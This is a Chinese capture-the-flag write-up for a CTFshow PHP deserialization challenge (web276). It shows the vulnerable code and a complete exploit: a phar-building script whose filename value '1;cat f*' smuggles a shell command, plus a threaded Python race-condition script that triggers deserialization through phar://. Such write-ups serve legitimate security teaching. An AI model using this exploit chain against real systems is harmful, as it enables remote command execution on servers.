CTFshow-WEB入门-反序列化web276
题目代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-08 19:13:36 # @Last Modified by: h1xa # @Last Modified time: 2020-12-08 20:08:07 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ highlight_file(__FILE__); class filter{ public $filename; public $filecontent; public $evilfile=false; public $admin = false; public function __construct($f,$fn){ $this->filename=$f; $this->filecontent=$fn; } public function checkevil(){ if(preg_match('/php|\.\./i', $this->filename)){ $this->evilfile=true; } if(preg_match('/flag/i', $this->filecontent)){ $this->evilfile=true; } return $this->evilfile; } public function __destruct(){ if($this->evilfile && $this->admin){ system('rm '.$this->filename); } } } if(isset($_GET['fn'])){ $content = file_get_contents('php://input'); $f = new filter($_GET['fn'],$content); if($f->checkevil()===false){ file_put_contents($_GET['fn'], $content); copy($_GET['fn'],md5(mt_rand()).'.txt'); unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']); echo 'work done'; } }else{ echo 'where is flag?'; }
需要先写入phar包,然后条件竞争在其被删除前通过 phar:// 使其反序列化来命令执行
前置知识:
phar包在被可执行代码的文件包含函数通过 phar:// 处理时会反序列化
解题:
先在 php.ini 配置 phar.readonly = Off
通过PHP脚本生成phar包:
<?php class filter{ public $filename = '1;cat f*'; public $filecontent = ''; public $evilfile = true; public $admin = true; } $phar = new Phar('phar.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER();?>"); $o = new filter(); $phar->setMetadata($o); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering();
利用Python脚本进行条件竞争:
import io import requests import threading url = 'http://xxx.challenge.ctf.show/' data = open('./phar.phar', 'rb').read() flag = True def write(): # 写入phar.phar requests.post(url+'?fn=phar.phar', data=data) def unserialize(): # 触发反序列化 global flag r = requests.get(url+'?fn=phar://phar.phar') if 'ctfshow{' in r.text and flag: print(r.text) flag = False while flag: # 线程条件竞争,直到读到flag threading.Thread(target = write).start() threading.Thread(target = unserialize).start()